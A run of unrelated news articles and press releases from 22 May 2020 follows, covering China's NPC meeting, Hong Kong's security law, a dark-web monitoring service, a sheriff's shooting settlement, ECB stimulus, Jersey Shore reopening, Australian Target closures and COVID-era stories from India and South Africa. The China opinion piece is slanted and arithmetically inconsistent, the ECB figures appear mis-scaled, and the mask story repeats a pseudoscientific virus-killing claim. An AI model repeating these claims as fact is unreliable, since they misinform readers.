Chinese Premier Li Keqiang said "I would like to point out that we have not set a specific target for economic growth this year," while submitting his 23-page work report to the NPC, China's legislature.

In the past two weeks, about 46 new cases of coronavirus have been reported in different cities of China, besides the emergence of new clusters in many areas, exposing China's claim of victory over COVID-19.

The other agenda of China is to advance its expansionist policy through new security legislation for Hong Kong. Once this law is passed, China's control over Hong Kong will become stronger and it will easily suppress the anti-government voices.

The meeting also gave a subtle message to Taiwan, asserting its claim over it. Li Keqiang's speech clearly stated the expansionist agenda of China stating that it wants to take away the autonomy of Hong Kong and Taiwan and will not shy away from using force to achieve this.

The third important point emerged that China for the first time since 1990, decided not to set any specific target for this year's GDP, citing uncertainties arising out of the COVID-19 pandemic, the slowdown of the Chinese and global economies and the decline in international trade.

Last month, a Chinese Brokerage Firm had claimed that the unemployment rate in China reached 20% but the report was later withdrawn. The official figure has put China's unemployment rate at 6%. This apparent fudging of data is like showing the data on coronavirus patients. China, however, vowed to revive its economy but no one knows when and how it will do it.

The fourth important point that emerged from this meeting is that China has increased its defense budget amidst the sinking economy. The second-largest military spender after the US, China hiked its defence budget by 6.6 percent to USD 179 billion, nearly three times that of India.

China, which has the world's largest military of two million troops, will continue to lower its defence budget growth rate to 6.6 percent in 2020, according to a draft budget report presented today to the National People's Congress (NPC).

China has also increased its activity in the South China Sea, besides issuing threats to Taiwan of military action. The Chinese military also invited clashes with India's forces deployed on the border.

The fifth point is linked to China's economy, as it has vowed to create 90 lakh new jobs. Last year, China had set a target of creating 10 million new jobs. This means that the Communist nation will create 2 million fewer jobs this year.

For the first time, China has decided to issue Treasury Bonds to raise money from the market. It gives the impression that the world's second-largest economy has a shortage of cash, but this can not be stated as China never tells the whole truth.

Chinese banks are reported to be under great pressure as China has given loans to many countries, but is facing uncertainty over the repayment. Amid this situation, big slogans were raised at the NPC but there was no strong announcement.

Despite facing domestic as well as international pressures, President Xi Jinping today conveyed his commitment to fulfilling the goals. The challenges of falling economies, unemployment, rising poverty, and cronavirus pandemic are staring at President Xi, who needs to tackle them successfully to retain his political stature.

In the year 2018, the Communist Party of China had abolished the limit of Jinping's presidency and paved the way for him to remain a lifetime President. He became the Supreme Commander and was being compared with the founder of China, Mao Zedong, but in the past two years things have changed.

President Xi is still the most powerful leader in China, but the deadly virus has dented his image, as he is globally held responsible for the COVID-19 crisis.
PR-Inside.com: 2020-05-22 15:23:24

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May 22, 2020 - The cyber landscape is getting riskier every day with rampaging hordes of hi-tech vandals. Meanwhile, both large and small organizations fail to ensure proper data security. It is necessary to use protection services available: Breach Report helps businesses monitor and protect the accounts of their employees, partners, and clients against daily privacy threats occurring on the dark web. The service offers a ready-to-use domain monitoring solution tailored to specific business needs, as well as a Business API.Cybercrime is on its way to becoming a top threat for businesses, governments, and communities. According to the 2019 Official Annual Cybercrime Report by Cybersecurity Ventures, cyberattacks are the fastest growing crime globally, and their sophistication and damage scale are also rising - projecting to cost the world $6 trillion every year until 2021. Their growth will overshadow the damage from natural disasters, while profitability will outdo the global trade of all illegal drugs combined.Hackers create around 300,000 new pieces of malware daily, according to McAfee data. Apart from traditionally well-equipped professionals, we witness a soaring population of so-called "script kiddies". Wannabe hackers run ready-made malware without understanding the mechanics behind it and leak breached records "for fun" and peer recognition. As these "skiddies" usually don't know the end-users of the compromised data or don't have a specific target, it makes the consequences of attacks absolutely unpredictable.Hacking manuals are very accessible: for instance, in 2016 a 10-year-old from Helsinki successfully exposed an Instagram security bug allowing him to delete any written content on the platform. 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The list of fined companies includes Google, Facebook, Vodafone, Uber, Raiffeisen Bank, PricewaterhouseCoopers, Marriott, and British Airways.Getting forearmed: Breach Report solutionAll this makes data protection a top priority both for large and small organizations. There are great services available on the market. Breach Report is a cybersecurity solution for continuous dark web monitoring. It offers a user-friendly interface for analysis and reporting of privacy threats, account breaches, and vulnerabilities, geared for transparent data handling processes. The solution provides 24/7 monitoring of individual and business accounts, continuous updates of new dumps found on the dark web, a scanner of dark web activity surrounding those accounts, and tools for additional breach-related research.Breach Report's database currently contains over 13 billion lines of breached information and 3.3 billion of unique email addresses. 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End users get extra value from the monitoring and protection of their accounts against the daily privacy threats occurring on the dark web.The API service updates are smooth and do not affect the customer's operations. Also, the company provides a robust monetization platform with a superior model for white label resellers. Overall, Breach Report offers great tools for businesses to boost user security, increase brand loyalty, scale operations, and generate profit.For more information please visit https://breachreport.com/ Media contactCompany: Breach Report LTDAddress: 27 Old Gloucester Street, London, United Kingdom, WC1N 3AXTel: +44-203-769-49-61Email: info@ breachreport.com Site: https://breachreport.com
Three days before the coronavirus pandemic became a national emergency, LMI announced a CEO transition that saw David Zolet step down to join CentralSquare Technologies and Chief Growth Officer Brian Fitzpatrick step in as acting leader.

Since then, what has been on Fitzpatricks agenda? Like so many other leaders in the public sector ecosystem, its been all about leading the nonprofit government consulting firms almost 1,400 employees and supporting their customers through the crisis.

Just to bring the point home, here is how Fitzpatrick responded to my question regarding any thoughts he may have regarding short- or long-term goals for LMI since he was asked to lead it at least in the interim.

Im really focused on making sure that theres continuity, that our employees are taken care of and that we stay focused on the mission now more than ever, Fitzpatrick said.

That mission in his words: Really enabling the customer to have complex challenges and doing anything we can to support that with our subject matter expertise, with our brainpower, with our employees who have science and technical backgrounds that are hard to find, and deploying them as quickly as we can and as nimbly as we can to ensure their success.

Not for some time has the U.S. government faced such a complex challenge that requires almost all of its moving parts to be redirected to one particular issue or at least take it into account. While not naming the agency, Fitzpatrick relayed one anecdote he heard about a supercomputer whose purpose was certainly not health care.

That platform was redirected to solve a problem related to the virus in an example Fitzpatrick said shows a whole of government approach against the pandemic.

Health and civilian are two of the markets LMI works in alongside defense and national security. Like many other businesses in the public sector, at the top LMIs website is a link to another landing page that shows visitors how the firm is both supporting customers in the response and managing itself through the situation.

One of the first items LMI did regarding COVID-19 was to stand up a working group led by Nathan Sanders, director of the firms defense health and Veterans Affairs unit. That group both seeks to match LMIs capabilities with what the government may be looking for.

Fitzpatrick said the firms support of clients so far has involved supporting management of equipment and supplies, which ties to LMIs heritage in the supply chain and logistics arena.

That also means helping agencies plan for the long term, or what can be essentially called next time.

People are beginning to think about lessons learned, how do we record what is happening here so the next time we face a crisis, hopefully not like this one, but what can we learn from this situation that we can apply to other situations, and were having discussions like that, Fitzpatrick said.

A more specific example can be seen in how LMI worked with the Army to outfit a hospital in Fort Knox, Kentucky that is being used to support the COVID-19 response. Fitzpatrick said that work began before government directives began coming down regarding how the military health system could be called upon to support the response.

Within LMIs health group, much of the firms work is with the Centers for Medicare and Medicaid Services and in a health policy arena that likely will look very different in a post-COVID world. Fitzpatrick offered how the Sept. 11, 2001 attacks changed how the government approaches security as a possible allegory.

Translate that to the COVID-19 crisis and you have a health care business that is probably about to undergo a huge transformation as well, Fitzpatrick said. Im sure the response will be different for many months to come and maybe years.

Along with support of customers comes the matter of employee engagement, an area Fitzpatrick stressed to me as really the number one priority next to the health and safety of staffers. Small examples of this include contests on who has the best background for the Zoom video chat platform, plus an Instagram contest on who had the best work-from-home setup or the most chaotic.

Fitzpatrick himself began the Instagram contest by posting a picture of his chief dog officer. But those fun exercises have a much bigger idea behind them.

What were finding is that there is a huge appetite for communication and I think in situations like this, you cant over-communicate about the health of the business, about how our employees are doing, how our customers are doing, what kind of need were seeing, Fitzpatrick said.

Those communications can also be on topics not related to work, such as one email that went out regarding best practices for homeschooling given the current work-from-home environment we are all in.

We use every channel of communication that there is available to keep in touch, Fitzpatrick said.

LMI put the Zoom communication channel to work for its first-ever quarterly offsite meeting of senior leaders, which came into play regarding the leadership transition. Fitzpatrick admitted that it was strange to conduct the meeting that way but it also showed his colleagues in a different light.

Everybody was in their house and were showing each other around the rooms that were in, Fitzpatrick said. You almost feel like you get to know each other even better, being in peoples homes even virtually, its kind of a weird dynamic but its effective.
Police officers stop demonstrators moving toward the Chinese central government's liaison office in Hong Kong on Friday. (Kin Cheung / Associated Press)

With his country's COVID-19 outbreak waning, nationalism rising at home and his antagonists in the Trump administration preoccupied by the pandemic and election-year politics, Chinese leader Xi Jinping is boldly moving to crush a potent obstacle to his authority.

By imposing a new national security law on Hong Kong, Xi's Communist Party signaled a determination to squelch a fierce anti-China protest movement  and demolish the longstanding firewall protecting the high-flying territorys human rights and freedoms from interference from the authoritarian mainland.

For Xi, the most powerful Chinese leader in decades, the strategy is yet another show of authority as he seeks to overcome accusations of mishandling the early days of the coronavirus outbreak late last year. After getting the virus under control but still dealing with its economic fallout, another summer of chaotic, headline-grabbing protests would undermine Chinas efforts to portray itself as a global leader.

It is a startling moment playing out against a resurgence of Chinese nationalism and a confidence by Beijing that  despite diplomatic consequences  it can assert its influence over a territory that for years has challenged its vision of domestic harmony.

The legislation would grant authorities broad powers to crack down on dissent and appears aimed at stopping fresh demonstrations as Hong Kong emerges from a months-long coronavirus lockdown. Critics call it a power grab that ends the autonomy that China promised Hong Kong would enjoy for at least 50 years when it took back the territory from Britain in 1997.

The intensification of Beijings crackdown on Hong Kong is a sign that when the Chinese Communist Party feels its core interests are threatened, it is willing to take steps that were previously seen as unthinkable, said Benjamin Bland, research fellow at the Lowy Institute in Australia and author of Generation HK: Seeking Identity in Chinas Shadow.

Story continues

Demonstrators attend a pro-democracy rally near the U.S. Consulate in Hong Kong, on Sept. 8, 2019. (Marcus Yam / Los Angeles Times)

The decision also creates another flashpoint in Chinas deteriorating relationship with the U.S., one that many fear is edging toward a new cold war.

As the Trump administration and Chinese officials trade misinformation and insults over the origins of COVID-19, talks on resolving a bitter trade dispute have collapsed. U.S. law exempts Hong Kong from tariffs on Chinese goods imposed during the trade war, but last year, in support of the protests, the U.S. introduced a provision that would revoke Hong Kongs special trade status if it loses its autonomy from mainland China.

American lawmakers from both parties have criticized the security law and called on the Trump administration to hold Beijing accountable. Secretary of State Michael R. Pompeo, who has delayed a decision on Hong Kong's status, condemned the law Friday, calling it "a death knell for the high degree of autonomy Beijing promised for Hong Kong."

This will be a test of what the U.S. policy is now toward Hong Kong and toward containing China, said Eliza Lee, a professor of politics at Hong Kong University. Within Hong Kong there are people who are looking up and waiting for the U.S. to respond.

But analysts say that Xi is gambling that Trump wont enact sanctions or introduce new tariffs against China that could intensify the trade war and risk damaging an already weak U.S. economy just months before he seeks reelection.

The U.S. will absolutely talk tough on China  and there will likely be skirmishes for the next six months  but Trump will think twice before taking any action against China, which dims the prospects for a V-shaped economic recovery, said Steven Okun, a Singapore-based senior advisor with McLarty Associates, a consulting company.

Hundreds of people form a human chain at Victoria Peak in Hong Kong on Sept. 13, 2019, after Chief Executive Carrie Lam withdrew a controversial extradition bill. (Marcus Yam / Los Angeles Times)

Beijings strategy seemed to be long in the making, beginning soon after street protests erupted in Hong Kong a year ago in response to an extradition bill and soon evolved into a broader anti-China movement.

In February Xi appointed several hard-line officials to the departments managing Hong Kong affairs. Last month, with the coronavirus outbreak silencing protests, Hong Kong authorities arrested more than a dozen prominent critics of China.

Still, Beijings decision stunned many when it was reported on Thursday at the beginning of the Communist Party's National People's Congress.

Hong Kong is in a state of shock, said Willy Lam, a political analyst at the Chinese University of Hong Kong.

A draft of the decision published in local media on Friday authorizes Beijing to insert the new national security laws directly into the Basic Law, Hong Kongs quasi-constitution, circumventing the local government. It calls for Chinese security institutions  which have long maintained a covert presence in Hong Kong  to open branches inside the territory and for Hong Kongs judiciary, which until now has been relatively independent, to punish "actions that harm national security."

Analysts said the erosion of legal protections could accelerate the flight of affluent and middle-class Hong Kong families to the West and drive more businesses out of the global financial center. Many foreign companies began to shift personnel and capital to Singapore, Taiwan and elsewhere after last summers protests.

Hong Kong police subdue a protester during anti-Beijing demonstrations Sept. 29, 2019. (Marcus Yam / Los Angeles Times)

Lam said Hong Kong would pay an economic price for the law because businesses rely on independent courts free of political meddling.

The Chinese economy is not doing very well and this will have a detrimental impact on business in Hong Kong, Lam said. But for Xi Jinping, law and order is more important than business. He would rather solve the law and order problem first and pacify the foreign businesspeople later on.

The law also likely erases whatever hope was left for Taiwan embracing a return to China under the one country, two systems arrangement that supposedly protected Hong Kongs autonomy under Chinese rule. Taiwan politicians have condemned the security law.

The firewall between Hong Kong and Chinas draconian laws and institutions is being removed. The Chinese government wants to burn the people of Hong Kong, said Eric Lai, spokesman for the Civil Human Rights Front, a coalition that helped organize many of last years major marches.

Lai vowed that demonstrations would continue but gave no details of when they might be organized. Hong Kong authorities have banned public gatherings of more than eight people until at least June 4 as a social distancing measure.

But many said the protesters would not give up easily  foreshadowing another long, bitter, violent summer.

People are more frustrated now but more angry, said Charles Mok, an opposition lawmaker. Some will leave. Those who cant leave, will they give up? Not so easily. That is the one lesson learned over the last 12 months. No one can change that.

Su reported from Shanghai, and Bengali and Pierson from Singapore.
The family of a man unintentionally killed in 2017 when a Bernalillo County sheriffs deputy opened fire on a stolen truck after a pursuit has settled a federal excessive force lawsuit against the county for $1.5 million, their attorney said.

An earlier $400,000 state court settlement arising from the same deadly shooting of Martin Jim, a 25-year-old unarmed passenger in the truck, brings the total paid to Jims partner, Shawntay Ortiz and his four-year-old son, to $1.9 million.

Thats in addition to last years $1.36 million settlement paid to the estate of the driver of the pickup truck, Isaac Padilla, 23, who was also killed.

Another $40,000 was paid to two other passengers in the truck.

The total payout to resolve legal claims related to Deputy Joshua Moras actions that morning comes to $3.3 million.

This office held the Bernalillo County Sheriffs Department and its deputy responsible for the horrific unnecessary death of Martin Jim, said Albuquerque attorney Sam Bregman. Unfortunately, taxpayers end up having to pay for the unconstitutional actions of the sheriffs department.

A sheriffs spokesman didnt return a request for comment on Thursday.

Unreasonable

The settlement in the high-profile case was reached after Senior U.S. District Judge Judith Herrera of Albuquerque ruled last December that a reasonable jury could conclude that Deputy Mora acted unreasonably.

Mora, the son of then-undersheriff Rudy Mora, had worked for about 18 months as a sheriffs deputy at the time of the shooting, which followed a high speed chase of a stolen truck about 4 a.m. on Nov. 17, 2017.

A deputy rammed the Dodge truck at Coors and Glenrio NW on Albuquerques West Side, obliterating the front drivers-side wheel.

With the truck at a standstill, two sheriffs deputies parked their vehicles to block the truck from moving forward. Then Mora arrived on the scene.

In the span of 18 seconds, Mora jumped from his car, ran to the truck, yelled commands at the driver, and fired seven rounds, according to Herreras ruling.

Mora didnt realize Jim was sitting in the back seat. The defendants, Mora, the county and Sheriff Manuel Gonzales III, maintained Jims death was unintentional and that the shooting of Padilla was justified. No weapons were found in the truck.

Deputies testimony

Mora later said he used deadly force because he heard the trucks engine rev up and feared the driver would try to lunge it forward and hit another sheriffs deputy.

The other two sheriffs deputies at the scene said in affidavits or in post-shooting reports that they feared they would be hurt or killed.

But the judge, in her ruling, noted that neither of them opted to fire as Mora did.

Although it is a close call, there are genuine issues of material fact about whether an objectively reasonable officer would have perceived that the chase was ongoing and that officers were imperiled, and therefore a jury could conclude that Deputy Moras firing at the Dodge was objectively unreasonable, she wrote.

The sheriffs sergeant on the scene, Adam Gaitan, was the more imperiled officer but said he didnt shoot because he was uncertain whether he was slow to react or acting and reacting on training or experience, the judges ruling stated.

Sheriffs Deputy Sergio Cordova stated that he did not fire his weapon because he did not have a threat that (he) needed to fire (his) firearm.

Immunity

The fact that people directly in front of (the driver), none of those sheriffs (deputies) felt the need to shoot him, Bregman said. And he (Mora) comes from the side and shoots seven rounds into that car and unfortunately Martin Jim died. There was no justification under any circumstances of just willfully shooting into that car.

Herrera did agree with the defendants that Mora could be dismissed from the case because he had violated no clearly established law and was entitled to qualified immunity.

Bregman in the lawsuit alleged Mora had a history of using excessive force even as a sheriffs cadet.

I hope hes gone back and gotten remedial training when it comes to use of force because at least on this day, in this incident and previous instances, this deputy was out of control and it is my opinion that he should not be patrolling the streets because he is more of a danger to the citizens of Bernalillo County than he is anything positive, he said.

No charges

In April 2019, special prosecutor Clint Wellborn, district attorney for the 7th Judicial District, announced his decision not to file criminal charges against Mora.

He found the state wouldnt have been able to prove beyond a reasonable doubt that the shooting wasnt justified.

Bernalillo County Manager Julie Morgas Baca told the Journal on Thursday that New Mexico Counties, which administers self-insurance pools that provide coverage for sheriffs departments, paid all settlements, legal fees and costs.

Bernalillo Countys deductible is $100,000 which has been paid/reimbursed to New Mexico Counties.

Bregman said his office has had a total of $2.6 million in legal settlements against BCSO over the past year.

That included a $700,000 settlement related to the death of Robert Chavez, 66, an innocent bystander who was fatally injured in a 2018 car crash that occurred during a BCSO pursuit of another stolen vehicle.

My law firm will continue to hold the BCSO responsible for its unconstitutional policies both when it comes to chasing people and when it comes to use of force, Bregman said.

Bregman also filed a whistleblower lawsuit against the sheriffs department that resulted in a $49,000 settlement last year.

In that case, a former sheriffs deputy testified he was retaliated against for giving a sworn deposition that the younger Mora was overly aggressive and had used excessive force as a cadet in training at the academy. And that Moras father, the undersheriff, had tried to pull strings at the training academy so his son would graduate.

Sheriff Gonzales has denied any retaliation and the allegation of favoritism toward the younger Mora.
The European Central Bank is "fully prepared" to provide even more stimulus as soon as June to support an economy that may shrink by a tenth this year due to the COVID-19 pandemic, the accounts of the bank's April meeting showed on Friday.

The ECB has already unveiled a long list of measures to mitigate recession, including 1.1 trillion euros worth of bond buys and loans at deeply negative rates. Policymakers apparently fear this may not be enough.

Arguing that a "V"-shaped recovery was unlikely as movement restrictions may be lengthy, policymakers highlighted flexibility in the bank's 750 billion euro Pandemic Emergency Purchase Scheme, its flagship bond buying scheme during the crisis.

"It (the Governing Council) was fully prepared to increase the size of the PEPP and adjust its composition, and potentially its other instruments, if, in the light of information that became available before its June meeting, it judged that the scale of the stimulus was falling short of what was needed," the ECB said.

While policymakers held back on adjusting bond purchases in April, the accounts are likely to fuel speculation of a move when policymakers next meet on June 4.

Analysts polled by Reuters already expect the ECB to increase bond buy 375 million euros in June with some putting the increase as high at 750 million.

Policymakers are also likely to discuss in June whether to buy corporate bonds that recently lost their investment grade rating and speculation over so-called "fallen angels" may increase after ECB board member Isabel Schnabel highlighted the issue.

"The number of 'fallen angel' bonds was increasing, while downgrades of high-yield issuers were already much more prominent," Schnabel told policymakers, according to the minutes.

The ECB already accepts bonds that have been downgraded to junk since April 7 as collateral.

German airline Lufthansa and French carmaker Renault were among euro zone companies that lost one of their investment-grade ratings since that date.
Some people heading to the Jersey Shore this Memorial Day weekend might be wondering: Does the reopening of beaches and boardwalks also mean you can stay with family and friends at a summer home, rental, or hotel? Or are you blocked by the states stay-at-home coronavirus restrictions?

Technically, Gov. Phil Murphy said Friday, theres no strict statewide ban on sharing a Shore house or hotel, even if youre staying with people youve not been isolating with during the pandemic.

But there are limitations. Officials said indoor gatherings remain limited to 10 people in the state, and local municipalities have the right to bar rentals and hotel stays during the crisis.

Some have and some havent, Matt Platkin, the governors chief counsel, said during the states daily coronavirus briefing in Trenton

Murphy also strongly encouraged people to be careful about mingling indoors with those they havent been quarantining with.

I would just say: Go into that with your eyes open, the governor said. I would keep your distance. Thats a personal opinion. I would not be sitting side by side tightly indoors with someone youve not been hanging around with yet.

Murphy has allowed beaches, boardwalks, and lakes to reopen with certain guidelines as of Friday, even though New Jersey continues to deal with the second-most COVID-19 deaths and cases among American states.

Towns are required to enforce social-distancing restrictions, including reduced capacity. Eateries are limited to takeout and delivery. People are also strongly encouraged to wear face coverings, though not mandated. Arcade games, boardwalk rides, concerts, and fireworks are not allowed.

The move is one of several steps Murphy has taken in recent days to gradually lift his near-lockdown orders during the pandemic as the states daily number of deaths, cases, and hospitalizations continue to drop.

On Friday, the state increased the limit on outdoor gatherings from 10 to 25 people and allowed campgrounds to reopen immediately.

Some critics have worried that reopening the beaches could cause another surge of deaths and cases, especially if out-of-state visitors pour into the Shore. And some towns have expressed concern that they dont have enough special police to enforce restrictions. Murphy acknowledged that Point Pleasant is one town worried about that.

Col. Patrick Callahan, superintendent of the State Police, said law enforcement officials have been working with the states police training commission to make sure there are enough officers, in addition to State Police troopers.

We think well be well-positioned with staff throughout the summer to support the Shore towns, Callahan said.

Meanwhile, Murphy said he doesnt have a timeline yet for when arcades or boardwalk shops can reopen.

If we continue to have another couple of good weeks here, my hope is we get to that, particularly if theyre outdoors, he said.

Nonessential retail stores throughout the state are allowed to offer curbside pickup.

Murphy also said he will be at the Shore at some point this weekend, if the weather is nice (rain is expected on Friday and Saturday). He said hell either run on the boardwalk or stroll with his wife in the Seaside Heights and Seaside Park area.

I dont have an exact moment as to when, he said.

CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage

New Jersey, a densely populated state of 9 million residents, has reported at least 10,985 deaths attributed to COVID-19, with at least 152,719 cases, since the outbreak began March 4. Only New York has more deaths and cases among American states.

Officials reported 146 new deaths and 1,394 new positive tests in New Jersey on Friday.

Murphy said Thursday more businesses  such as salons and gyms  may be allowed to reopen with guidelines in a matter of weeks.

Still, with the economy suffering massive losses, some lawmakers, businesses, and residents have been pushing him to move more quickly, allowing more businesses to allow customers inside as long as there are safety precautions.

The state Republican Party announced Thursday it is suing Murphy to reopen small businesses, arguing he arbitrarily declared which businesses are considered essential.

More than 1.1 million New Jersey residents have filed for unemployment since mid-March, though the number of claims has fallen in recent days. Many say theyve been waiting for weeks to get paid and have struggled with the states busy phone and online systems.

Our journalism needs your support. Please subscribe today to NJ.com.

Brent Johnson may be reached at bjohnson@njadvancemedia.com.
Target designer Dannii Minogue poses during at the Target show during Melbourne Fashion Festival in Melbourne, Australia, on March 22, 2015. (Scott Barbour/Getty Images)

167 Target Stores Earmarked for Potential Closure in Major Restructure

Targets long running struggles in the retail sector have come to a head, with the announcement of potentially 167 store closures over the next 12 months, with 75 facing closure and an additional 92 slated to be converted to Kmarts.

In a shareholder announcement on May 22, parent-company Wesfarmers announced the restructure as part of an ongoing review of Targets operations.

Wesfarmers Managing Director Rob Scott said the move was designed to enhance the overall position of the Kmart Group, and improve the commercial viability of Target.

For some time now, the retail sector has seen significant structural change and disruption, and we expect this trend to continue, he said.

With the exception of Target, Wesfarmers retail businesses are well-positioned to respond to the changes in consumer behaviour and competition associated with this disruption.

The restructure will see between 122 and 167 locations either converted or closed, out of Targets 284 strong retail network.

Wesfarmers will be undertaking the following actions to manage the cost base of the Target retail network, which it said has been deemed unsustainable.

Converting 10 to 40 large format stores to Kmart

Converting 52 Target Country stores, located in regional areas, to small format Kmart stores

The closure of between 10 to 25 large format Target stores

The closure of the remaining 50 Target Country stores if they cannot be converted

Reduction in the size of the Target support office

These actions will be rolled out over the next 12 months, Wesfarmers told investors.

All Target employees will be offered alternative employment across the Wesfarmers group, including Kmart, Officeworks, Bunnings, and Catch Group, which was acquired last year by Wesfarmers.

Kmart Group managing director, Ian Bailey, said the decision was not easy. However, the disruptive and competitive nature of the retail sector meant difficult decisions needed to be made.

We continue to believe that Target has a future as a leading retail brand in Australia and is much loved by many customers, Bailey said.

Target has been subject to ongoing efforts to revitalise the brand as it suffers from changing consumer shopping behaviour, with an unclear position in the market.

Wesfarmers stated in last years shareholder results that it was making changes to Targets product line in the hope of making the brand more appealing to a focused customer base.
Toronto, Ontario--(Newsfile Corp. - May 22, 2020) - Advantagewon Oil Corp., (CSE: AOC) (OTC Pink: ANTGF) (the "Corporation", "Advantagewon", "AOC") announced today that it had entered into a Purchase Agreement where the Corporation has agreed to acquire a 42.5% working interest in four wells, and the associated land lease for the wells, from a private Company. Keeping consistent with Corporation's refocused Canadian business strategy, the four wells that the Corporation is acquiring are all located in the Province of Saskatchewan. The land lease the Corporation has acquired in this transaction consists of approximately 160 acres.

Closing is anticipated to occur on May 29th, 2020, and the Corporation has agreed to both issue 10,000,000 Common Shares of the Corporation and the Corporation has agreed to issue a onetime cash payment of $5,825.00 CDN.

The four wells are currently shut in and the Corporation anticipates reworking the wells once the price of oil reaches $50 CDN a barrel. Reworking costs for our ownership percentage is estimated at approximately $20,000.00 CDN. Prior to being shut in before the price of oil dropped the four wells were producing a combined total of 100 BOPD.

About Advantagewon Oil Corp.

Advantagewon is focused on building consistent cash flow from low cost, low risk oil wells. Advantagewon's common shares are listed on the OTC Markets in the United States and on the Canadian Securities Exchange ("CSE") in Canada. Advantagewon is a member of the CSE Composite Index (CSE: AOC). For more information please visit www.aoc-oil.com

For further information please contact:

Mr. Stephen Hughes

CEO & Director

Advantagewon Oil Corp

T: (587) 580-9344

Mr. Frank Kordy

Secretary & Director

Advantagewon Oil Corp.

T: (647) 466-4037

Forward-Looking Statements

Information set forth in this news release may involve forward-looking statements under applicable securities laws. The forward-looking statements contained herein are expressly qualified in their entirety by this cautionary statement. The forward-looking statements included in this document are made as of the date of this document and the Corporation disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable securities legislation. Although Management believes that the expectations represented in such forward-looking statements are reasonable, there can be no assurance that such expectations will prove to be correct. This news release does not constitute an offer to sell or solicitation of an offer to buy any of the securities described herein and accordingly undue reliance should not be put on such. Neither CSE nor its Regulation Services Provider (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release. We seek safe harbor.

- 30 -

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56346
Hyderabad, May 22 : Muslims in Hyderabad and the rest of Telangana offered 'Juma-tul-Vida' or last Friday of Ramzan prayers at their homes in view of the ongoing ban on religious congregations due to Covid-19 lockdown.

Hyderabad's historic Mecca Masjid, which used to witness the biggest gathering on 'Juma-tul-Vida' every year, wore a deserted look - for the first time in over three centuries. The imam, muezzin and a couple of employees of the mosque offered the namaz.

More than a lakh people used to gather for prayers on the last Friday of Ramzan at the 17th century mosque near the iconic Charminar. Islamic scholars had appealed to people not to gather at Mecca Masjid or any other mosque for the namaz and offer the prayers at home.

This is said to be the first time since the construction of Mecca Masjid in 1694 that 'Juma-tul-Vida' prayers were not held.

There were no congregations at any other major mosque in Hyderabad and other towns of Telangana.

This was the ninth Friday in a row that Muslims offered prayers at home as congregations at all places of worship are banned under the lockdown restrictions.

While 'azaan' are being regularly called from mosques five times a day, only four to five persons are offering the namaz.

People followed the advice of Islamic scholars and community leaders by performing at home the daily prayers during Ramzan including 'Taraveeh', the special prayers offered every night during the holy month.

The mosques also did not see any congregations on 'Shab-e-Qadr' or the night of power celebrated on Wednesday.

Meanwhile, All India Majlis-e-Ittehadul Muslimeen (AIMIM) which used to organise a meeting at Mecca Masjid after prayers on the last Friday of Ramdan, had to cancel the same. AIMIM chief and Hyderabad MP Asaduddin Owaisi delivered a speech telecast live on social media platforms.

He called upon Muslims to abide by the lockdown restriction and offer all the prayers at home.

Latest updates on Eid al-Fitr 2020
South African NGO Smile Foundation has donated 4,000 N95 masks and 300 imported masks with 'germ trap' technology to medical workers on South Africa's Covid-19 frontline. According to Smile Foundation CEO Hedley Lewis, these essential masks, valued at over R370,000, will be distributed to seven national hospitals.

Image supplied

Virustatic Shields

Medical gloves



Theatre scrubs



Cleft bottles



Infrared thermometer guns



Theatre shields



Sanitisers



Psychological Support

Smile Foundation responded hurriedly during this crucial time. We are beyond appreciative for the work being done by SAs frontline workers, and we hope we can make a significant difference by providing masks that will help to protect and support them as they continue to put themselves on the line.The Virustatic Shields, sponsored by the Lubner Family Foundation, have been specially imported from Manchester in the UK and are said to neutralise viruses upon contact.The mask neutralises the virus droplets by making it think that it has been absorbed into the lungs and is killed as it touches the protein base on the masks. It is lightweight, reusable and washable, and moulds to the face, so medical workers can wear it comfortably for hours at a time, comments Hedley.Through various fundraising campaigns, Smile Foundation have also yielded:We extend our heartfelt gratitude to the incredible support received from donors across South Africa. These efforts serve as proof that no matter how small or big the amount, it all can make a huge impact. Finally, we want to thank every single medical worker who is working so hard to support South Africa during the fight against this devastating pandemic, concludes Hedley.
Somrita Ghosh By

Express News Service

NEW DELHI: Medical staff of state- and centrally-run hospitals in Delhi have decided to hold a symbolic protest on Friday to protest against the governments decision to withdraw hotel quarantine facility and COVID testing of healthcare workers. They will wear a black ribbon at work, the Federation of Resident Doctors Association (FORDA) decided.

As per a Central government order of May 15, quarantine of healthcare workers serving in COVID areas is no longer mandatory. FORDA president Dr Shivaji Dev Barman said despite writing to the Union Health Ministry to reconsider the decision, there had been no response from the authorities.

The Delhi government followed suit and decided to withdraw the special quarantine facilities and hospitals got orders on May 18. Lok Nayak Jai Prakash Narayan Hospital, whose doctors were provided quarantine accommodations at Hotel Lalit, issued an order on May 20 which stated, Regular quarantine of healthcare workers after performing duty in Covid-19 areas is not warranted. Hence, all categories of staff on quarantine are directed to vacate the hospital provided accommodations in hotels/dharamshalas latest by 12 noon by May 21.The government had on March 29 said doctors treating coronavirus patients at LNJP and GBP hospitals would be accommodated at a private hotel on its expense.

In response to the LNJP directive, the resident doctors association (RDA) of the hospital wrote to the administration stating that the order was inhuman and came at a short notice. It blatantly undermines the persistent effort put in by the corona warriors who provide treatment at the largest Covid-19 facility of Delhi government, the letter said and added that the order has further worsened the mental state of doctors on Covid-19 duty who are already stressed due to huge load of severely ill corona patients.

After the protest, the order has been put in abeyance for a week, but the RDA has decided to go ahead with the protest. Abeyance doesnt mean the guidelines have changed. The Delhi government will not give quarantine to future posted doctors. We are against the guidelines, said Dr Parv Mittal, president, LNJP RDA.

The Safdarjung hospital has also issued an order stating that the hospital will provide the facility of hotel quarantine for its healthcare workers till five days after Covid duty and the rest nine days of quarantine should be completed at home. Salaries will be deducted for overstaying in the hotel, it adds. This order came today (Thursday). It will be implemented from May 23 on the new batch of Covid workers, said an RDA member.

The RDA of Maulana Azad Medical College and associated hospitals wrote to Union Health Minister Harsh Vardhan against Delhi governments order for vacating the quarantine facilities.In the letter, the RDA cited the government order stating that doctors residing in Hotel Lalit have to vacate the rooms. This order is inhuman and undermines the persistent effort put in by the corona warriors providing treatment at the largest Covid facility of Delhi government, the association said.
